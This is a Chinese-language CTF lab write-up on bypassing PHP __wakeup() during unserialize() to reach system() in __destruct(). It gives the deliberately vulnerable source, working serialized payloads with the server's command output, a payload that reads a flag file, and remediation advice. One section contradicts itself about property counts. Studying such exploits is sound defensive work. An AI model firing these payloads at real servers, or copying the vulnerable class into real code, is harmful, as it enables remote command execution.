【好靶场】PHP反序列化绕过
- [【好靶场】PHP反序列化绕过:__wakeup 绕过与命令执行](#【好靶场】PHP反序列化绕过:__wakeup 绕过与命令执行)
-
- 前置知识
- 一、题目源码
- [二、正常 Payload 为什么会失败](#二、正常 Payload 为什么会失败)
- 三、绕过思路
- 四、验证命令执行
-
- [1. 本地 PHP 7.3.4 检测结果](#1. 本地 PHP 7.3.4 检测结果)
- [2. 授权靶场页面回显](#2. 授权靶场页面回显)
- 五、字符串长度一定要写对
- [六、查找 Flag](#六、查找 Flag)
- 七、漏洞原理总结
- 八、修复建议
-
- [1. 不要反序列化用户输入](#1. 不要反序列化用户输入)
- [2. 禁止在魔术方法中调用危险函数](#2. 禁止在魔术方法中调用危险函数)
- [3. 使用类白名单](#3. 使用类白名单)
- [4. 做签名校验](#4. 做签名校验)
- 总结
【好靶场】PHP反序列化绕过:__wakeup 绕过与命令执行
本文仅用于授权靶场、CTF 练习和本地安全学习。
前置知识
学习本题前,需要先理解几个点。本文涉及的本地检测环境为 PHP 7.3.4;实际绕过效果以授权靶场页面回显为准,因为 __wakeup() 属性数量绕过和 PHP 版本有关。
这里的 __wakeup() 绕过和 PHP 版本有关,核心原因是 PHP 早期在处理反序列化对象时,如果序列化字符串中声明的属性数量大于实际属性数量,可能会导致 __wakeup() 没有被正常调用。
常见结论如下:
| PHP 版本 | 是否容易触发属性数量绕过 __wakeup() |
|---|---|
| PHP 5.x | 常见可绕过 |
| PHP 7.0.x 早期版本 | 常见可绕过 |
| PHP 7.1+ | 大多已修复,通常无法再用该方式绕过 |
| PHP 7.3.4 | 本机测试不可用 |
| PHP 8.x | 通常不可用 |
1. unserialize() 会还原对象
PHP 反序列化时,如果序列化字符串中包含对象,PHP 会尝试按照类名还原对象和属性。
示例对象序列化格式:
text
O:12:"BypassWakeup":1:{s:3:"cmd";s:2:"id";}
含义:
O:Object,对象;12:类名BypassWakeup长度为 12;1:对象属性数量为 1;s:3:"cmd":属性名是cmd;s:2:"id":属性值是id。
2. __wakeup() 的触发时机
__wakeup() 是 PHP 魔术方法,通常会在 unserialize() 反序列化对象时自动触发。
本题中:
php
public function __wakeup() {
$this->cmd = "echo 'waf'";
}
它的作用是把 $cmd 强行改成:
text
echo 'waf'
所以如果 __wakeup() 正常执行,我们传入的命令会被覆盖。
3. __destruct() 的触发时机
__destruct() 会在对象销毁时自动触发,通常是脚本执行结束时。
本题中:
php
public function __destruct() {
system($this->cmd);
}
也就是说,只要 $cmd 没有被 __wakeup() 覆盖,最后就会进入 system($this->cmd)。
一、题目源码
php
<?php
class BypassWakeup {
public $cmd = "echo 'ok'";
public function __wakeup() {
$this->cmd = "echo 'waf'";
}
public function __destruct() {
system($this->cmd);
}
}
$ser_data = $_GET['data'];
unserialize($ser_data);
?>
题目要求:Getshell。

但是这题的关键不是反弹 shell,而是先理解:
text
可控 data 参数 → unserialize() → 触发魔术方法 → system($cmd)
二、正常 Payload 为什么会失败
如果正常构造 1 个属性:
text
O:12:"BypassWakeup":1:{s:3:"cmd";s:2:"id";}
执行流程是:
text
unserialize()
↓
触发 __wakeup()
↓
cmd 被改成 echo 'waf'
↓
脚本结束触发 __destruct()
↓
执行 echo 'waf'

所以正常情况下,即使我们传入 id,也会被 __wakeup() 改掉。
三、绕过思路
老版本 PHP 中存在一个经典特性:
当序列化字符串中声明的对象属性数量大于实际属性数量时,可能导致
__wakeup()不被正常触发。
正常写法:
text
O:12:"BypassWakeup":1:{s:3:"cmd";s:2:"id";}
绕过写法:
text
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}

变化点只有一个:
text
BypassWakeup":1
改成:
text
BypassWakeup":2
真正存在 2 个属性 的标准序列化字符串
大括号里写两组属性键值对,声明数量和实际数量保持一致(:2:)
text
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";s:4:"test";s:1:"1";}
拆解:
:2:→ 声明 2 个属性- 实际两个属性:
cmd、test
声明数量 = 实际属性数量 → __wakeup 正常触发
也就是声明有 2 个属性,但实际只给了 1 个 cmd 属性。
这样 $cmd 就不会被 __wakeup() 改成 echo 'waf',脚本结束时会进入:
php
system($this->cmd);
四、验证命令执行
先用无害命令测试:
text
id
Payload:
text
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}
1. 本地 PHP 7.3.4 检测结果
本地检测环境:
text
PHP 7.3.4 CLI (NTS MSVC15 x64)
PHP 路径:E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe
正常触发 __wakeup() 的 Payload:
text
O:12:"BypassWakeup":1:{s:3:"cmd";s:2:"id";}
本地输出:
text
[+] __wakeup 被触发
[+] __destruct 被触发
[+] 即将执行命令:echo 'waf'
'waf'
说明 cmd=id 被 __wakeup() 覆盖成了 echo 'waf'。
再测试属性数量异常的 Payload:
text
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}
本地 PHP 7.3.4 中没有输出 id 结果,说明当前本地版本对这种异常序列化数据不会继续走到可利用的析构执行流程。
这个现象很重要:__wakeup() 绕过和 PHP 版本有关,不能只看本地结果判断靶场一定不可用。
2. 授权靶场页面回显
在题目靶场提交同一个 Payload 后,页面回显:
text
收到输入字符串: O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}
uid=33(www-data) gid=33(www-data) groups=33(www-data)
注意:system 命令的输出不会直接在此展示区显示。请关注服务器回显或副作用。
看到 uid=33(www-data),说明命令已经在靶场服务器上执行成功。
这里的提示意思是:system() 的输出不一定单独显示在"反序列化结果"区域里,可能会混在页面响应中。只要页面出现 id 的结果,就说明命令执行成功。
五、字符串长度一定要写对
比如命令:
text
echo SAFE_TEST
长度是 14:
text
echo = 4
空格 = 1
SAFE_TEST = 9
总长度 = 14
正确 Payload:
text
O:12:"BypassWakeup":2:{s:3:"cmd";s:14:"echo SAFE_TEST";}

如果复制时写成:
text
echo SAFE\_TEST
那就多了一个反斜杠,长度变成 15。此时仍然写 s:14,反序列化就会失败。
所以 PHP 反序列化 Payload 有一个非常重要的细节:
text
s:长度:"内容"
长度必须和内容严格对应。
六、查找 Flag
直接构造payload
text
O:12:"BypassWakeup":2:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}

获取到flag为
text
flag{d09d2ffd683c4e88a0fe18c512602d01}
七、漏洞原理总结
本题的漏洞链路如下:
text
用户控制 data 参数
↓
服务端直接 unserialize($ser_data)
↓
构造异常属性数量绕过 __wakeup()
↓
cmd 属性保持用户传入的值
↓
对象销毁时触发 __destruct()
↓
system($this->cmd) 执行命令
关键点有三个:
data参数完全可控;unserialize()直接处理用户输入;__destruct()中存在危险函数system()。
八、修复建议
1. 不要反序列化用户输入
最根本的修复方式是不要把外部可控数据传入 unserialize()。
可以改用 JSON:
php
$data = json_decode($_GET['data'], true);
但 JSON 解析后也要继续做字段校验,不能直接信任用户输入。
2. 禁止在魔术方法中调用危险函数
不要在 __destruct()、__wakeup()、__toString() 等魔术方法中直接调用:
php
system()
exec()
passthru()
shell_exec()
popen()
proc_open()
魔术方法触发时机隐蔽,一旦对象可控,很容易被利用。
3. 使用类白名单
如果业务必须使用 unserialize(),至少加上类白名单:
php
$obj = unserialize($ser_data, [
'allowed_classes' => ['SafeClass']
]);
但要注意:类白名单只能限制类,不能解决当前类内部危险逻辑的问题。
4. 做签名校验
服务端生成序列化数据时,附带 HMAC 签名。反序列化前先验签:
php
$expected = hash_hmac('sha256', $ser_data, $secret);
if (!hash_equals($expected, $_GET['sign'])) {
exit('invalid data');
}
签名不通过,直接拒绝处理。
总结
本题利用思路可以概括为:
text
构造 BypassWakeup 对象
↓
把 cmd 改为想执行的命令
↓
把属性数量 1 改成 2
↓
绕过 __wakeup()
↓
等待 __destruct() 调用 system()
最终测试 Payload:
text
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}
这题重点不是"命令本身",而是理解 __wakeup() 为什么会拦截,以及为什么属性数量异常能够绕过它。